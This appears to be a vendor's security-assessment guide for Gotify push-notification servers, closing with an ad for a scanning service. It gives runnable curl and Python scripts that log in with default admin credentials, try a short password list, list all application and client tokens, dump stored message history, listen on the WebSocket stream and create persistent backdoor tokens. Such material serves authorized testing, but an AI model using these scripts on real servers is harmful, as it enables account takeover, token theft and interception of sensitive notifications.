Gotify is a widely deployed self-hosted push notification server used to receive alerts from monitoring tools (Uptime Kuma, Grafana), CI/CD pipelines, automation scripts, and home automation systems. Its security significance stems from the type of content notifications carry: security alerts, CI/CD build results, server monitoring states, and credential-containing messages. Its security assessment covers: Gotify ships with default credentials admin/admin that are the documented default in every installation guide — unchanged defaults give full access to all applications, tokens, and message history; Gotify uses application tokens (for sending messages to Gotify) and client tokens (for receiving messages from Gotify) — both token types are non-expiring by default; application tokens used by CI/CD systems and monitoring tools are frequently committed to version control or stored in script files; the /stream WebSocket endpoint authenticated by a client token receives all future messages in real time; and Gotify's REST API allows creating additional application and client tokens, enabling persistent access even after a password change. This guide covers systematic Gotify security assessment.
# Gotify default credentials: admin / admin
GOTIFY_URL="https://push.example.com"
# Test default credentials via login endpoint
RESPONSE=$(curl -s -X POST "${GOTIFY_URL}/user/login" \
-H "Content-Type: application/json" \
-d '{"name":"admin","pass":"admin"}' 2>/dev/null)
CLIENT_TOKEN=$(echo "$RESPONSE" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(d.get('token',''))
" 2>/dev/null)
if [ -n "$CLIENT_TOKEN" ] && [ "$CLIENT_TOKEN" != "null" ]; then
echo "DEFAULT CREDENTIALS WORK — client token: ${CLIENT_TOKEN}"
# Get admin user info
curl -s "${GOTIFY_URL}/current/user" \
-H "X-Gotify-Key: ${CLIENT_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'User: {d.get(\"name\")} admin={d.get(\"admin\")}')
" 2>/dev/null
fi
# Test common Gotify default passwords
for PASS in "admin" "gotify" "password" ""; do
RESULT=$(curl -s -X POST "${GOTIFY_URL}/user/login" \
-H "Content-Type: application/json" \
-d "{\"name\":\"admin\",\"pass\":\"${PASS}\"}" 2>/dev/null)
if echo "$RESULT" | grep -q '"token"'; then
echo "AUTH SUCCESS: admin/${PASS}"
break
fi
done
# Gotify token enumeration — list all application and client tokens
GOTIFY_URL="https://push.example.com"
CLIENT_TOKEN="your-gotify-client-token" # from login
# List all applications (each has a send-only application token)
curl -s "${GOTIFY_URL}/application" \
-H "X-Gotify-Key: ${CLIENT_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
apps = json.load(sys.stdin)
print(f'Applications: {len(apps)}')
for app in apps:
print(f' [{app.get(\"id\")}] {app.get(\"name\")} token={app.get(\"token\")}')
" 2>/dev/null
# Each application token can send messages to that application
# These tokens are often embedded in CI/CD pipelines and monitoring scripts
# and may be committed to version control
# List all client tokens (for receiving messages)
curl -s "${GOTIFY_URL}/client" \
-H "X-Gotify-Key: ${CLIENT_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
clients = json.load(sys.stdin)
print(f'Clients: {len(clients)}')
for c in clients:
print(f' [{c.get(\"id\")}] {c.get(\"name\")} token={c.get(\"token\")}')
" 2>/dev/null
# Gotify message history — all past notifications accessible with client token
GOTIFY_URL="https://push.example.com"
CLIENT_TOKEN="your-gotify-client-token"
# Dump all stored messages — may contain security alerts, CI/CD results,
# monitoring data, and other sensitive operational notifications
curl -s "${GOTIFY_URL}/message?limit=100" \
-H "X-Gotify-Key: ${CLIENT_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
msgs = d.get('messages',[])
print(f'Messages: {len(msgs)}')
for m in msgs[:20]:
print(f' [{m.get(\"date\",\"\")[:10]}] {m.get(\"title\",\"?\")} — {str(m.get(\"message\",\"\"))[:80]}')
" 2>/dev/null
# Connect to WebSocket stream to receive all future messages in real time
# wscat -c "wss://push.example.com/stream?token=${CLIENT_TOKEN}"
# Or with Python:
python3 -c "
import websocket, json
def on_message(ws, msg):
d = json.loads(msg)
print(f'New notification: {d.get(\"title\")} — {d.get(\"message\")}')
ws = websocket.WebSocketApp(
'wss://push.example.com/stream?token=CLIENT_TOKEN',
on_message=on_message
)
ws.run_forever()
" 2>/dev/null
| Security Test | Method | Risk |
|---|---|---|
| Default admin/admin credentials | POST /user/login with admin/admin — client token gives full access to all applications, message history, user management, and token enumeration | Critical |
| Application token enumeration via API | GET /application with client token — lists all application tokens including those used by CI/CD pipelines, monitoring tools, and automation scripts to send notifications | High |
| Message history access revealing sensitive content | GET /message?limit=100 with client token — retrieves all stored notifications; Gotify messages frequently contain server alerts, CI/CD build output with credentials, and security monitoring data | High |
| WebSocket stream real-time message interception | Connect to /stream?token=CLIENT_TOKEN WebSocket — receives all future notifications in real time across all applications the token has access to | High |
| Persistent backdoor token creation via API | POST /client or /application with admin token — creates additional non-expiring tokens that survive admin password changes, providing persistent access to the notification stream | Medium |
| Application token committed to version control | Search Git repositories for Gotify token patterns — application tokens embedded in CI/CD config files are frequently committed to version control | High |
Ironimo tests Gotify deployments for default admin/admin credentials giving full API access, application token enumeration revealing tokens embedded in CI/CD pipelines and monitoring tools, message history access exposing sensitive operational notifications including security alerts and build output, WebSocket stream real-time interception via client token, persistent backdoor token creation via the API that survives password changes, and application tokens committed to version control.
Start free scan